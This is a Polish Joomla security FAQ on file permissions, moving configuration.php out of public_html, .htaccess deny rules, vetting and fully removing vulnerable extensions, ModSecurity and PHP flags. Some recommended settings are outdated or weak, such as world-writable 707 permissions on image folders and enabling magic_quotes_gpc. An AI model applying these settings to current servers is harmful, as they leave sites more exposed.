Optymalne ustawienia praw dostępu do plików zależą od konfiguracji serwera. Zalecane ustawienia praw do katalogów na 755, a do plików na 644 powinny zapewnić bezpieczeństwo.

Jak unikać ustawiania uprawnień 0777 potrzebnych do instalacji?

Ta porada przeznaczona jest dla administratorów niewielkich prywatnych serwerów internetowych, udostępniających witrynę opartą na Joomla.

Na prywatnym serwerze z niewielką ilością znanych sobie użytkowników nie ma potrzeby ustawiania praw do katalogów 777, aby instalacja Joomla! została przeprowadzona bez błędów. Możesz tak ustawić parametry serwera, aby zarówno warstwa FTP, jak i PHP mogły równorzędnie sterować prawami do plików i katalogów.

Wskazówki

  1. Wyedytuj plik user.conf i ustaw Apache tak, aby działał jako konto FTP.
  2. Zmień prawa dla plików całej strony z 744 na 644. Apache będzie pracował prawidłowo przy tym ustawieniu.

Opcje

  1. Przypisz grupę FTP do plików w całej przestrzeni serwera poleceniem chgrp, tak aby tylko ci, którzy posiadają dostęp przez FTP, mogli zapisywać pliki na serwer.
  2. Nadaj prawa 764 lub 664 w całej przestrzeni serwera, co również innym użytkownikom umożliwi zapisywanie plików na serwer.

Czy bezpieczne jest umieszczanie wszystkich plików Joomla w katalogu public_html?

Krótka odpowiedź

Potencjalnie, tak. Twoja witryna jest bezpieczna, ale musisz być ostrożny i czujny.

Dłuższa odpowiedź

Podstawową zasadą zabezpieczenia zasobów serwera jest utworzenie różnych poziomów bezpieczeństwa, a następnie przydzielanie uprawnień na każdym poziomie tylko w koniecznym zakresie. Na serwerach UNIX realizuje się to poprzez przyznawanie praw do katalogów i plików użytkownikom, grupom, i innym (światu).

Z reguły najbardziej niebezpiecznym katalogiem na serwerach UNIX jest katalog służący do obsługi wymiany danych z siecią zewnętrzną, zwykle nazywany public_html. Katalog ten musi być dostępny publicznie, dopuszczając każdego do czytania jego zawartości, a w przypadku systemów zarządzania treścią CMS, powinien zezwalać nawet na zapisywanie do plików. Ten status czyni go z definicji ekstremalnie niebezpiecznym.

Dopóki nie przeszkadza ci, że cały świat może oglądać zawartość tego katalogu, problemu nie ma. Został stworzony dokładnie do tego celu. Kiedy jednak chcesz cokolwiek ukryć przed innymi, pojawia się problem. Jeżeli w tym katalogu umieścisz np.:

  • pliki konfiguracyjne z poufnymi danymi,
  • skrypty zapisujące dane do bazy danych,
  • skrypty modyfikujące inne pliki,
  • skrypty dopisujące dane do logów,
  • skrypty zapisujące tymczasowe dane w pamięci podręcznej,
  • skrypty które obsługują zapisywanie plików i grafiki na serwer,
  • skrypty które obsługują formularze,
  • skrypty które przetwarzają dane osobowe lub finansowe,

to ten katalog z prawami tylko do czytania, zmienia się na katalog z prawami także do zapisu.

Jeżeli są jakiekolwiek słabe punkty w jakimkolwiek pliku w katalogu public_html, cały serwer staje się potencjalnie zagrożony, a nie tylko Twoja strona. Słabe punkty pozwalają włamywaczom na dostęp do skryptów obsługujących Twoją stronę. PHP, Perl i inne języki skryptowe to narzędzia potężne i łatwe do użycia. Jeżeli błędy programowe pozwalają atakującemu na wywołanie różnych poleceń, cały serwer staje się otwartym celem.

Jedynym dobrym sposobem zablokowania atakujących jest lokowanie potencjalnie zagrożonych plików za bezpieczną barierą. Z tego powodu zaleca się umieszczanie w katalogu public_html tylko tych plików, które wymagają bezpośredniego dostępu z sieci. Inne pliki powinny być ładowane do aplikacji takimi poleceniami jak include (wstaw) i require (przywołaj). Aby dostać się do takich plików włamywacz musi najpierw spenetrować Twój serwer, np. przez odkrycie Twojej nazwy użytkownika i hasła.

Bezpieczeństwo przede wszystkim

Aby zapewnić łatwą instalację Joomla! stosuje się zróżnicowany dwupoziomowy model bezpieczeństwa. Na pierwszym poziomie możliwe jest proste przeprowadzenie instalacji z przeglądarki, z katalogu instalacyjnego dostępnego dla całej sieci. Drugi poziom to wymaganie usunięcia tego katalogu natychmiast po instalacji.

Przyznanie programowi instalującemu praw do zapisywania plików znajdujących się poza katalogiem public_html byłoby ogromną dziurą w bezpieczeństwie. Dlatego domyślnie pliki Joomla! w końcu lądują w dostępnym dla całej sieci public_html. Nieprzypadkowo, jest to katalog będący celem wszystkich włamywaczy sieciowych.

Obecnie większość rozszerzeń Joomla! ma ograniczone wsparcie (dostęp) do plików znajdujących się poza katalogiem public_html. To spuścizna (legacy) po instalacyjnym modelu Joomla 1.0.x .

Obrona Joomla!

W związku z potencjalnie niebezpiecznym umiejscowieniem, Joomla! stosuje różne efektywne metody do blokowania exploitów. Główną wśród nich jest dodanie linii kodu na początku każdego pliku PHP który wymaga specjalnego zabezpieczenia. Metoda ta jest bardzo efektywna jeżeli KAŻDY plik wymagający takiego zabezpieczenia będzie je posiadał. Jeden błąd, jeden niezabezpieczony plik, naraża na atak wszystkie zasoby strony!

Wyzwanie

Praktyka umieszczania wszystkich plików w katalogu public_html, a następnie budowanie bariery bezpieczeństwa przez dodawanie linii kodu w każdym pliku wydaje się administracyjnym koszmarem. Jeden pominięty plik naraża na atak cały serwer! To doskonały przykład modelu bezpieczeństwa typu:

najpierw zezwól (Allow), a potem zabroń (Deny) 

Model ten wymaga ciągłych, dokładnych aktualizacji, stałego przeglądania logów, i aktywnego neutralizowania nowych dziur w bezpieczeństwie kiedy tylko zostaną ujawnione. Ponieważ musisz być o krok przed atakującymi, to zmusza do pośpiechu, co może niechcący doprowadzić do powstania nowego słabego punktu, a co za tym idzie, powstania nowego zagrożenia.

Podczas instalacji i aktualizacji musisz weryfikować każdą linię kodu każdego nowego pliku pod kątem każdego znanego zagrożenia. Skrypty mogą niezamierzenie wpływać wzajemnie na siebie, nie możesz więc zapomnieć o ich ciągłym testowaniu. To oczywiście generalna zasada dla każdego oprogramowania, ale lokowanie całej aplikacji w katalogu public_html czyni problem ekstremalnie krytycznym.

Ostatnia fala ataków polegających na "wstrzykiwaniu" adresów zasobów (URL injections), w źle napisane rozszerzenia autorstwa osób trzecich, byłaby mniej skuteczna, gdyby pliki te były umiejscowione poza katalogiem public_html, a co za tym idzie niedostępne z poziomu formatu adresowania zasobów, czyli z poziomu URL. W wielu przypadkach znane dziury bezpieczeństwa w plikach nadal istnieją, ale ponieważ te pliki znajdują się poza katalogiem public_html, nie są narażone na ataki typu URL injections.

Zatem najpierw Zabroń, a potem Zezwól - (Deny, then Allow), czy najpierw Zezwól, a potem Zabroń - (Allow, then Deny)?

Ten dobrze znany kwalifikator to model typu - najpierw zezwolenie (Allow), a potem zabronienie (Deny). Innymi słowy najpierw dajemy każdemu dostęp do plików, a potem zabraniamy dostępu do określonych plików przez dodanie linii kodu.

Rozważcie logikę skryptu autentykacji hasła. Zasadniczo mamy dwie opcje:

  1. Najpierw zezwolenie wszystkim na dostęp, a potem wykluczenie (zabronienie) jakiejkolwiek kombinacji nazwa użytkownika/hasło, która NIE pasuje do listy akceptującej.
  2. Najpierw odmówienie dostępu wszystkim, a potem zezwolenie na jakąkolwiek kombinację nazwa użytkownika/hasło, która PASUJE do listy akceptującej.

Oczywiście druga metoda jest lepsza. Prosta znajomość wyrażeń regularnych mówi, że pierwszą metodę jest dużo trudniej bezpiecznie zapisać. Nie zadziała ona za każdym razem, gdy powstają nowe metody ataków i będzie wymagać ciągłych weryfikacji. Z czasem takie weryfikacje staną się tak rozbudowane, że sam system zabezpieczenia może stać się źródłem zagrożenia.

Koncepcyjnie druga metoda jest przykładem budowania silnej bariery bezpieczeństwa obejmującego całą Twoją stronę (Deny), a potem przyznawania ograniczonego dostępu według dobrze zdefiniowanych kryteriów (then Allow). Jeżeli nawet nastąpi włamanie do skryptu, najprawdopodobniej użytkownik, który posiada legalny dostęp, zostanie zablokowany. To kłopot, ale nie przełamanie systemu bezpieczeństwa.

Dobre wiadomości

  1. W Joomla! 1.0.x niektóre rozszerzenia i sam szkielet Joomla! po zakończeniu instalacji umożliwiają umiejscowienie krytycznych katalogów poza katalogiem public_html. Jeżeli to tylko możliwe, powinieneś tak zrobić.
  2. Joomla! 1.5 posiada już dużo lepsze rozwiązania. Dostarcza ona kilka nowych stałych dla określonej lokalizacji szczególnie wrażliwych katalogów, w tym konfiguracji, administratora, bibliotek, i instalacji.
  3. Joomla! 1.5 jest w stanie działać jako konto FTP. To pozwala na jeszcze inny sposób zabezpieczenia plików na pliku przez plik i katalogu na bazie katalogu.


Jak w Joomla 1.5 dostosować definicje ścieżek do własnych ustawień? Compat 15.png

Otwórz do edycji plik /includes/defines.php. Poniżej znajduje się stosowny kod:

define( 'JPATH_ROOT' , implode( DS, $parts ) );
define( 'JPATH_SITE' , JPATH_ROOT );
define( 'JPATH_CONFIGURATION', JPATH_ROOT );
define( 'JPATH_ADMINISTRATOR', JPATH_ROOT . DS . 'administrator' );
define( 'JPATH_LIBRARIES' , JPATH_ROOT . DS . 'libraries' );
define( 'JPATH_INSTALLATION' , JPATH_ROOT . DS . 'installation' );

Jak przenieść poufne pliki poza katalog publiczny?

Trzeba to powiedzieć, wyzwaniem w Joomla! jest zabezpieczenie przed bezpośrednim dostępem z Internetu pewnych plików PHP w katalogu public_html zawierających kod wykonawczy lub dane poufne.

Są różne sposoby zabezpieczania takich plików, ale większość z nich nie jest optymalna. Wielu użytkowników i grup developerów, takich jak Gallery2 i Apache.org, zdecydowanie przestrzega przed trzymaniem wrażliwych plików wewnątrz katalogu public_html.

Przedstawione niżej metody wydają się najprostszym i najbardziej eleganckim sposobem zabezpieczenia plików tylko do odczytu, które z różnych powodów są przechowywane w public_html. W tym przykładzie zabezpieczymy configuration.php, być może najcenniejszy z punktu widzenia bezpieczeństwa plik Joomla!.

Stosujcie tę metodę, nawet jeśli serwer w jakiś sposób dostarczy pliki PHP włamywaczom - np. z powodu złej konfiguracji - dzięki niej nikt nie będzie w stanie zobaczyć realnej zawartości pliku konfiguracyjnego.

Procedura

1. Przenieś configuration.php do bezpiecznego katalogu poza public_html i zmień jego nazwę i rozszerzenie wedle swojego uznania. W przykładzie przyjęliśmy nazwę joomla.conf.

2.Utwórz nowy plik zawierający TYLKO następujący kod i zapisz go pod nazwą configuration.php (Patrz niżej "Ważne Uwagi").

<?php
require( dirname( __FILE__ ) . '/../joomla.conf' );

3. Upewnij się, że nowy plik configuration.php jest niezapisywalny, tak aby nie mógł zostać nadpisany przy zmianach w panelu administracyjnym Joomla!.

4.Jeżeli będziesz potrzebował zmian w konfiguracji, rób to ręcznie przez wpisy do pliku joomla.conf.

Ważne Uwagi!

W powyższym przykładzie kodu uważaj, byś nie wprowadził przed startowym tagiem PHP (<?php) tzw. białych znaków, czy linii (włączając w to puste spacje). Jeżeli to zrobisz, prawdopodobnie otrzymasz w wyniku taki błąd:
Warning: Cannot modify header information - headers already sent by (output started at  
/home/xxxxx/public_html/configuration.php:2) in /home/xxxxx/public_html/index.php on line 250
Zauważ, że brak kończącego tagu PHP (?>) jest celowy. Zrobiono tak, aby jakiekolwiek puste linie na końcu pliku nie były interpretowane jako HTML, co spowodowałoby błąd. Pominięcie kończącego tagu jest akceptowalną metodą unikania takich konfliktów. Rozwiązanie to działa, ponieważ interpreter PHP automatycznie zatrzymuje interpretację na końcu każdego pliku. Końcowy tag PHP jest konieczny tylko w kodzie HTML, w którym implementowano kod PHP, w tym samym pliku.
Zobacz także artykuł "Jak wyregulować definicje Joomla! 1.5?"

Jak zablokować dostęp do krytycznych plików używając .htaccess?

  1. Wykonaj kopię Twojego pliku .htaccess, będzie potrzebna gdyby wprowadzone zmiany się nie powiodły. Jeżeli wszystko pójdzie dobrze, pamiętaj o usunięciu tej kopii.
  2. Dodaj do .htaccess poniższe dyrektywy, pamiętaj aby przypadkowo nie wpisać białych znaków. Te przykłady zabezpieczą pliki .htaccess i plik configuration.php.
<Files .htaccess>
order allow,deny
deny from all
</Files>
<FilesMatch "configuration.php">
Order allow,deny
Deny from all
</FilesMatch>


Jak równocześnie zmienić prawa dostępu do wielu plików i katalogów?

Korzystając z narzędzi zaplecza Compat 10.png

Z menu zaplecza wybierz Witryna → Konfiguracja globalna → Serwer i ustaw prawa dostępu zgodnie z potrzebami.

Za pomocą poleceń powłoki UNIX

Uwaga: Polecenie find zakłada, że jego wykonanie przynosi skutki począwszy od aktualnego katalogu (tego, w którym jest wywoływane). Dla pełnego bezpieczeństwa przejdź do swojego katalogu public_html i określ w poleceniu ścieżkę, jako pierwszy argument. W przypadku powłoki bash w systemie Apple OS X ścieżka musi być podana.


find . -type f -exec chmod 644 {} \;
find . -type d -exec chmod 755 {} \;
chmod 707 images
chmod 707 images/stories
chown apache:apache cache


Uwagi:

  1. Po dokonaniu zmiany uprawnień przetestuj działanie wszystkich dodanych do Joomla! rozszerzeń.
  2. Aby zainstalować dodatkowe rozszerzenia, konieczne będzie zresetowanie uprawnień.

Jak skonfigurować bezpieczne połączenie SSL dla administratorów? Compat 10.png

Używaj Joomla! wersji 1.5.

Standardowa instalacja Joomla! 1.0.x nie wspiera połączeń szyfrowanych SSL dla indywidualnych katalogów, jednakże na forum (i poza forum) możesz znaleźć eleganckie i mniej eleganckie rozwiązania tego problemu.

Zwróć uwagę, że wcześniejsze techniki wykorzystujące zmienną $mosConfig_live_site zostały zaniechane i nie będą pracowały z obecną wersją Joomla! z powodu wzrastających wymagań bezpieczeństwa.

Więcej pomocy

  1. Netshine Software, Ltd: Using an SSL Certificate with your Joomla Website

Dlaczego nie jest zalecane ograniczanie dostępu wg adresu IP?

Ograniczanie dostępu do strony przez filtrowanie podejrzanych adresów IP nie jest szczególnie efektywne w dłuższym okresie czasu, ponieważ wiele exploitów jest uruchamianych na zaatakowanych maszynach, albo przez serwery proxy, co maskuje rzeczywiste adresy atakującego. Włamywacze mogą atakować z wielu zainfekowanych komputerów, blokowanie ich prowadzi do blokowania legalnych użytkowników, właścicieli tych adresów IP, ale nie atakujących.


Rozszerzenia Joomla!

Dlaczego rozszerzenia mogą być niebezpieczne?

Każdy może napisać i rozpowszechniać rozszerzenia dla Joomla! Jako usługa dla globalnej społeczności, ta wolność działania jest aktywnie wspierana przez Centralny Zespół Joomla! Ze względu na otwartość i popularność projektu Joomla!, oferowana jest ogromna ilość rozszerzeń z szeroką paletą różnych funkcji. Jakość i zakres rozszerzeń Joomla! jest jedną z głównych zalet tego projektu.
Jednakże za wolność trzeba płacić. Wymaga to indywidualnej odpowiedzialności i taki system może funkcjonować tylko jeżeli większość jego uczestników działa odpowiedzialnie. Sukces Joomla! doprowadził do niepożądanej aktywności podejrzanych typów, co przejawia się np. w tzw. script kiddies (dziecinni skrypciarze), które uruchamiają automatycznie proste skrypty próbujące odnaleźć i zniszczyć czyjeś witryny.
Należy podkreślić, że dziecinni skrypciarze niezamierzenie są wartościową usługą. Pomagają nam ujawniać zagrożone rozszerzenia i kiepsko skonfigurowane serwery, które w innych przypadkach mogłyby być narażone na znacznie groźniejsze ataki.


Co to są niepewne rozszerzenia?

Rozszerzenia niepewne albo podatne na ataki to takie, które zawierają lub generują zagrożenia dla bezpieczeństwa systemu

Niepewne rozszerzenia nie zawsze są złym kodem. Ponieważ sieć rozwija się dynamicznie, techniczne wymagania i powszechnie akceptowane praktyki pisania kodów zmieniają się. W aktywnych projektach wydawana są nowe wersje rozszerzeń zgodnie z nowymi wymaganiami. Dlatego ważne jest:

  1. Znać numery wersji wszystkich zainstalowanych rozszerzeń.
  2. Stosować tylko najnowsze stabilne wersje wszystkich rozszerzeń.
  3. Całkowicie usuwać wszystkie pliki niepewnych i nieużywanych rozszerzeń.


Jak wybierać pewne i bezpieczne rozszerzenia?

Najważniejszą rzeczą jaką każdy może zrobić, to podjąć właściwą decyzję w sprawie wyboru rozszerzenia, które zostanie użyte na stronie. Jeżeli niepewne lub podejrzane rozszerzenie zostanie zainstalowane, zniszczenie strony staje się prawdopodobne. Nie istnieje ŻADEN sposób, by zabezpieczyć lub zablokować komponent przed dostępem do tabel bazy danych, do których nie powinien mieć dostępu. Nie istnieje sposób, aby zablokować komponent przed przesłaniem wszystkich wykradzionych informacji do strony włamywacza. Jeżeli niepewny czy podejrzany komponent został zainstalowany, cała Twoja strona jest zagrożona.

Pomimo tego, co wyżej powiedziano, istnieje kilka łatwych wskazówek co do wyboru rozszerzenia do instalacji.

Kiedy została wydana ostatnia wersja? 
Jeżeli ponad rok temu, poszukaj czegoś innego. Nie instaluj starych komponentów.
Jaki to rodzaj wydania? (stabilny, kandydujący (RC), Beta, Alpha) 
Dla stron produkcyjnych powinieneś stosować tylko wydania stabilne, jak tylko to możliwe. Jeżeli nie możesz czekać, aż ukaże się wydanie stabilne, wydania kandydujące są jedyną opcją, którą powinieneś rozważyć. Nie zaleca się nikomu instalowania wersji Beta czy Alfa na czynnej stronie. Wydania te zawierają błędy, nie zostały dostatecznie przetestowane oraz mogą mieć pewną liczbę błędów funkcjonalnych i z zakresu bezpieczeństwa, które nie zostały naprawione, i co gorsze, zostały już ujawnione.
Czy rozszerzenia mają historię dobrych praktyk z zakresu bezpieczeństwa?
To jest nieco subiektywne, ale wciąż jest ważną miarą przyszłego zaufania. Wymaga odrobiny śledzenia i badania. Przejrzyj ich stronę ładowania, czy jest tam wiele aktualizacji wydań i łatek? Czy są raporty na temat włamań przez to rozszerzenie? Czy developerzy są doświadczeni i świadomi zagrożeń? Co inni członkowie społeczności sądzą o tym rozszerzeniu? Jeden przykład który przychodzi mi do głowy ma niewiele wspólnego z samym Joomla! (z tego powodu przytoczenie tego przykładu wydaje się uczciwe) - jest to phpBB. Ten skrypt ma więcej wydań bezpieczeństwa niż można sobie wyobrazić, i rutynowo wydają się być ujawniane nowe problemy. Z tego powodu ja nigdy nie użyłbym phpBB. W mojej opinii nie jest to skrypt wart zaufania i istnieje wysokie prawdopodobieństwo, że ujawnione zostaną w nim nowe problemy.
Czy istnieje grupa wsparcia dla tego rozszerzenia? 
To bardzo ważne dla świadomości zagrożeń i funkcjonalności. Jeżeli jest wsparcie społeczności dla tego rozszerzenia, istnieje większa szansa, że zagrożenia zostaną zlokalizowane i naprawione. Wsparcie społeczności oznacza, że ludzie chcą użytkować tego rozszerzenie i będą o nie dbali. To zwiększa prawdopodobieństwo, że zagrożenia zostaną szybko ujawnione i usunięte.
Czy dla tego rozszerzenia istnieje tylko wersja dla Mambo? 
Ten fakt sam w sobie nie czyni rozszerzenia niepewnym, ale jest raczej miarą wsparcia (kiedy było ostatnie wydanie i co z dalszym wsparciem?). Niewielkie jest prawdopodobieństwo, że komponent Mambo będzie współpracował z 1.5, więc oszczędź sobie kłopotu i znajdź komponent przeznaczony do pracy z Joomla! Ułatwisz sobie życie.
Czy rozszerzenie jest wolne od błędów? 
Wspomniałem o tym nieco w pkt 3, ale sądzę, że warto ten temat pogłębić. Praktycznie jest prawie niemożliwe, aby rozszerzenie było całkowicie wolne od błędów, jednak czym mniejsza ilość błędów, tym lepiej. Jeśli są błędy w oprogramowaniu, to oznacza nic innego, że są błędy w oprogramowaniu. Czym więcej błędów, tym większe ryzyko problemów z funkcjonalnością i bezpieczeństwem. Problemy z bezpieczeństwem są często wynikiem nie jednego, ale kilku błędów lub złych praktyk. Na przykład, ostatnie błędy rozszerzeń pozwalające zdalnym plikom wklejenie kodu są rezultatem:

Złe praktyki

  1. Włączenie w PHP register globals.
  2. Używanie przestarzałych lub porzuconych rozszerzeń.
  3. Niewłączanie innych dyrektyw bezpieczeństwa dla PHP (url_fopen off, open_basedir, wyłączenie funkcji PHP).
  4. Złe skonfigurowanie praw do plików.
  5. Niefiltrowanie wywołań albo brak programowego firewalla (jak mod_rewrite rules czy mod_security).

Błędy

  1. Niewpisywanie deklaracji ('_VALID_MOS') or die...
  2. Źle skonstruowana deklaracja include().

Chociaż kod Joomla! jest bezpieczny, jeżeli został prawidłowo skonfigurowany, rozszerzenia to świat różnej jakości i wieku. Jeżeli absolutnie nie ufasz developerowi, zawsze przejrzyj kod przed instalacją. Poniżej jest lista typowych obszarów takiego przeglądu

1. Jak złożone jest rozszerzenie?

Czym jest większe, tym bardziej prawdopodobne, że sprawi problemy. Powinieneś je przejrzeć bardzo dokładnie. Jeżeli nie potrafisz zrozumieć jak działa, nie ufaj mu.

2. Czy rozszerzenie czyta lub zapisuje pliki na Twoim serwerze?

Programy, które czytają pliki, mogą niechcący zmienić prawa dostępu, które ustawiłeś, lub przekazać wrażliwe informacje do włamywaczy. Programy, które zapisują pliki, mogą potencjalnie zmodyfikować lub zniszczyć istniejące pliki, albo zainstalować konie trojańskie.

3. Czy rozszerzenie współdziała z innymi programami Twojego systemu?

Na przykład wiele rozszerzeń wysyła e-maile w odpowiedzi na wysłanie danych formularza przez otwarcie połączenia z serwerem sendmail. Czy robią to w bezpieczny sposób?

4. Czy rozszerzenie działa z przywilejem suid (set-user-id)?

Generalnie to bardzo niebezpieczne, rozszerzenia muszą mieć poważny powód, by tak działać.

5. Czy rozszerzenie waliduje wszystkie wejścia użytkownika, takie jak w polach formularza i w URL?

6. Czy rozszerzenie używa prostych ścieżek przy wywołaniu zewnętrznych programów?

Stosowanie zmiennej środowiskowej PATH dla rozwiązania nazw ścieżek jest niebezpieczną praktyką.

7. Czy rozszerzenie jest wystarczająco zabezpieczone przed bezpośrednim dostępem przez URL?

Na przykład: www.twojastrona.com/components/com_bad_extension.php?tu_duzo_zlego_kodu

8. Czy rozszerzenie jest odporne na zdalne wklejenie pliku?

9. Czy rozszerzenie jest odporne na SQL injections (wstrzykiwanie SQL)?

10. Czy rozszerzenie jest odporne na ataki Cross Site Scripting (XSS)?

11. Czy rozszerzenie potrzebuje włączenia register_globals, lub Joomla! RG Emulation?

Jeśli tak to prawdopodobnie naruszono pkt 7.

12. Czy rozszerzenie zapewnia dostęp do bazy danych wysokiego poziomu dla użytkowników o niskich prawach?

Na przykład, czy pozwala gościom lub użytkownikom zarejestrowanym przeglądać dane przeznaczona dla wydawców lub administratorów?


Dlaczego Katalog Rozszerzeń Joomla zawiera niepewne oprogramowanie?

Przegląd

Strona z rozszerzeniami Joomla działa jako bezpłatna usługa dla społeczności. Każdy może tam przesłać swój kod, i rozszerzenia bywają różnej jakości o w różnym czasie wydania.

Jeżeli rozszerzenie zostanie uznane za niebezpieczne, zostanie usunięte ze strony aż do czasu wydania bezpiecznej wersji, ale nie ma gwarancji, że zostaną rozpoznane i ogłoszone wszystkie zagrożenia w każdym rozszerzeniu.

Dla zapewnienia bezpieczeństwa TY musisz zweryfikować rozszerzenie, które instalujesz.

Poniżej jest tekst prawnego zastrzeżenia na stronie rozszerzeń Joomla! Ignorowanie go jest bardzo groźne.

Zastrzeżenie

Rozszerzenia i opisy zawarte na tej stronie zostały dostarczone przez członków społeczności, a ich wykaz nie wchodzi w skład Joomla!, ani też nie sugeruje wsparcia, zaleceń lub preferencji zespołu Joomla!/OSM.
Zawartość strony jest udostępniana jako bezpłatna usługa dla naszych gości i z tego względu Joomla!/OSM nie ponosi odpowiedzialności za dokładność informacji. Internauci, którzy chcą zweryfikować informację o rozszerzeniach, powinni skontaktować się z osobami odpowiedzialnymi za autorstwo i/lub wydanie rozszerzenia.

Dlaczego na ekranach instalacyjnych pojawiają się ostrzeżenia?

To po prostu jest ostrzeżenie! Nikt ci oczywiście nie broni instalować dowolnego rozszerzenia na twojej stronie, ale pamiętaj, to TY jesteś odpowiedzialny za bezpieczeństwo swojej witryny i za jakość aplikacji, które instalujesz.

Ogromna większość ogłoszonych zagrożeń w Joomla! pochodziła z kiepsko napisanych lub przestarzałych wersji rozszerzeń, które nie powinny być pozostawione na serwerze. Dlatego przed instalacją sprawdź dokładnie jakość kodu rozszerzenia.

Lista rozszerzeń podatnych na zagrożenia stanowi wartościową informację czego NIE należy instalować.


Dlaczego wyłączenie niepewnego rozszerzenia nie chroni wystarczająco witryny?

Przegląd

Po prostu - usuwając z menu witryny odnośnik albo zmieniając jego stan na Nieopublikowane, nie usuwasz rozszerzenia podatnego na ataki. Dopóki pliki rozszerzenia znajdują się na serwerze, istnieje ryzyko ataku. Zauważ w poniższych przykładach, jak napastnik może obejść plik index.php, by dotrzeć do pliku jakiegoś rozszerzenia:
www.twoja_witryna.org/components/com_podatny_component/podatny_plik.php
www.twoja_witryna.org/modules/mod_podatny_module/podatny_plik.php

Usuwanie wrażliwego rozszerzenia

1. Sporządź listę plików do usunięcia

Jeśli istnieje, przejrzyj plik z rozszerzeniem .xml, by zobaczyć dokładnie, jakie katalogi i jakie pliki zostały dodane do systemu podczas instalacji niepewnego rozszerzenia. Plik .xml znajduje się w oryginalnym pakiecie instalacyjnym. Na przykład archiwum ZIP rozszerzenia mod_podatny zawiera plik podatny.xml, w którym może znajdować się następująca lista plików
mod_podatny.php
mod_podatny/podatny_file.txt
mod_podatny/takze_podatny_plik.txt
mod_podatny/kolejny_podatny_plik.txt
mod_podatny/index.html

2. Odinstaluj rozszerzenie za pomocą instalatora:

Do odinstalowania rozszerzenia skorzystaj z instalatora Joomla! dostępnego w sekcji zaplecza administracyjnego. Pamiętaj, że konieczne może być odinstalowanie komponentu, modułów i dodatków.

3. Sprawdź, czy proces został zakończony:

Nie ufaj komunikatowi, że instalator usunął wszystkie pliki i katalogi. Porównaj katalogi i pliki Twojego systemu z listą sporządzoną w punkcie 1., by przekonać się na własne oczy, że wszystkie zostały usunięte.

4. Opcjonalnie usuń powiązane tabele bazy danych:

Sprawdź również swoją bazę danych i usuń tabele dodane przez rozszerzenie. Aby uprościć aktualizację do nowszych wersji wiele skryptów odinstalowujących rozszerzenia nie usuwa powiązanych z rozszerzeniem tabel bazy danych. Listę tabel również można odczytać z pliku z rozszerzeniem .xml. (Jeśli planujesz zainstalować bezpieczniejszą, nowszą wersję rozszerzenia i skorzystać ponownie z istniejących tabel, zachowaj je. Zawsze jednak warto im się dokładniej przyjrzeć, czy nie zawierają niechcianych wpisów.


Apache

Wybór informacji o serwerze internetowym Apache, modułach Apache, pliku .htaccess, etc.

Co to jest ModSecurity serwera Apache?

Opis

ModSecurity jest przeznaczoną dla serwera Apache zaporą sieciową, podnoszącą w znacznym stopniu bezpieczeństwo serwera, chroniącą zasoby na poziomie aplikacji, w odróżnieniu od większości typowych zapór sieciowych, które chronią zasoby na poziomie protokołu TCP/IP. Moduł wyszukuje w przychodzących i wychodzących zapytaniach zdefiniowane w regułach filtrowania słowa kluczowe, a następnie wykonuje ustaloną akcję.

Podstawową konfigurację modułu administratorzy serwerów wzbogacają, korzystając z bogatej oferty reguł filtrowania dostępnej na wielu stronach internetowych. Solidni i fachowi dostawcy usług internetowych dopasowują ustawienia ModSecurity do każdego klienta (dokładniej, do używanego przez klientów oprogramowania, np. systemów CMS).

Pakiet podstawowy Joomla zwykle pracuje poprawnie z typowymi ustawieniami ModSecurity, ale generalnie jest to zależne od indywidualnych ustawień dokonanych przez dostawcę usług internetowych. Jeżeli napotkasz konflikt pomiędzy Joomla! i modSecurity, to zwykle będzie on spowodowany przez komponent autorstwa osób trzecich, a czasami nawet wysłaniem formularza, który generuje problem. Zgłoś w takim przypadku sprawę administratorowi serwera – użytkownicy serwerów nie mają innej możliwości wpływu na konfigurację ModSecurity, zarządzanego z poziomu serwera.

Konfigurując ModSecurity, należy zdawać sobie sprawę, że nie tylko Joomla! może wymagać unikalnych ustawień, ale także przetwarzanie danych innych aplikacji.

Konfiguracja ModSecurity jest zbyt obszerna i skomplikowana, by ją tu opisywać. Więcej dowiesz się w tych zasobach:

Zasoby

  1. Oficjalna witryna projektu - w języku angielskim; ModSecurity i Apache
  2. Christiane Rütten: Firewall serwera Apache. Zabezpieczanie serwerów WWW za pomocą narzędzia
  3. Apache pod kluczem, czyli jak zabezpieczyć serwer WWW
  4. Apache – bezpieczeństwo – mod_security

Zobacz

Portal:Bezpieczeństwo

Jak zablokować skanowanie katalogów używając .htaccess?

Czynności

Dodaj do pliku .htaccess regułę przekierowującą. Na przykład poniższa reguła przekieruje do index.php wszystkie próby skanowania katalogów z nazwą rozpoczynającą się od "phpMyAdmin".

Przykładowa reguła

RewriteRule ^/phpMyAdmin.*$ /index.php

Kilka wskazówek dotyczących wyrażeń regularnych

^ oznacza początek napisu (np. ^/ w przykładzie powyżej oznacza, że napis musi zaczynać się od ukośnika)
$ oznacza koniec  (np. x$ znaczy, że napis musi się skończyć na x)
. oznacza dowolny znak inny niż znak nowej linii
* oznacza zero, jeden lub więcej dowolnych znaków
? oznacza zero lub jeden dowolny znak
! oznacza zaprzeczenie

Jak zmienić ustawienia PHP za pomocą .htaccess?

Wprowadzenie

Poniżej znajdziesz objaśnienie, w jaki sposób używając pliku .htaccess zmodyfikować konfigurację PHP, używając dyrektywy php_flag. Składnia dyrektywy jest następująca:

php_flag nazwa on|off
Ikona informacja.png
 Informacja

 Ten sposób zmiany ustawień PHP można zastosować jedynie do dyrektyw typu PHP_INI_ALL oraz PHP_INI_PERDIR. Zobacz listę dyrektyw.


Czynności

1. Otwórz w zwykłym edytorze tekstu plik .htaccess umieszczony w macierzystym (głównym) katalogu witryny. Jeśli nie masz takiego pliku, stwórz go. Uwaga: kropka na początku jest elementem nazwy pliku.

2. Dodaj potrzebne w Twoim przypadku, wybrane z poniższych dyrektywy. Każda musi rozpoczynać się od nowej linii. Te przykładowe linie chronią witrynę przed niektórymi atakami typu zmiana wartości zmiennych globalnych, cross site scripting (XSS), wstrzykiwanie kodu:

## Wylaczenie rejestrowania zmiennych globalnych
php_flag register_globals off
## Wylaczenie wyswietlania bledow
php_flag display_errors off
## Wylaczenie interpretacji krotkich znacznikow PHP
php_flag short_open_tag off
## Wylaczenie kompresji zlib, gdy powoduje problemy
php_value zlib.output_compression 0
## Zwiekszenie limitu pamieci
php_value memory_limit 32M
## Wlaczenie magicznych cudzyslowow dla GPC
php_flag magic_quotes_gpc on
Ikona informacja.png
 Informacja

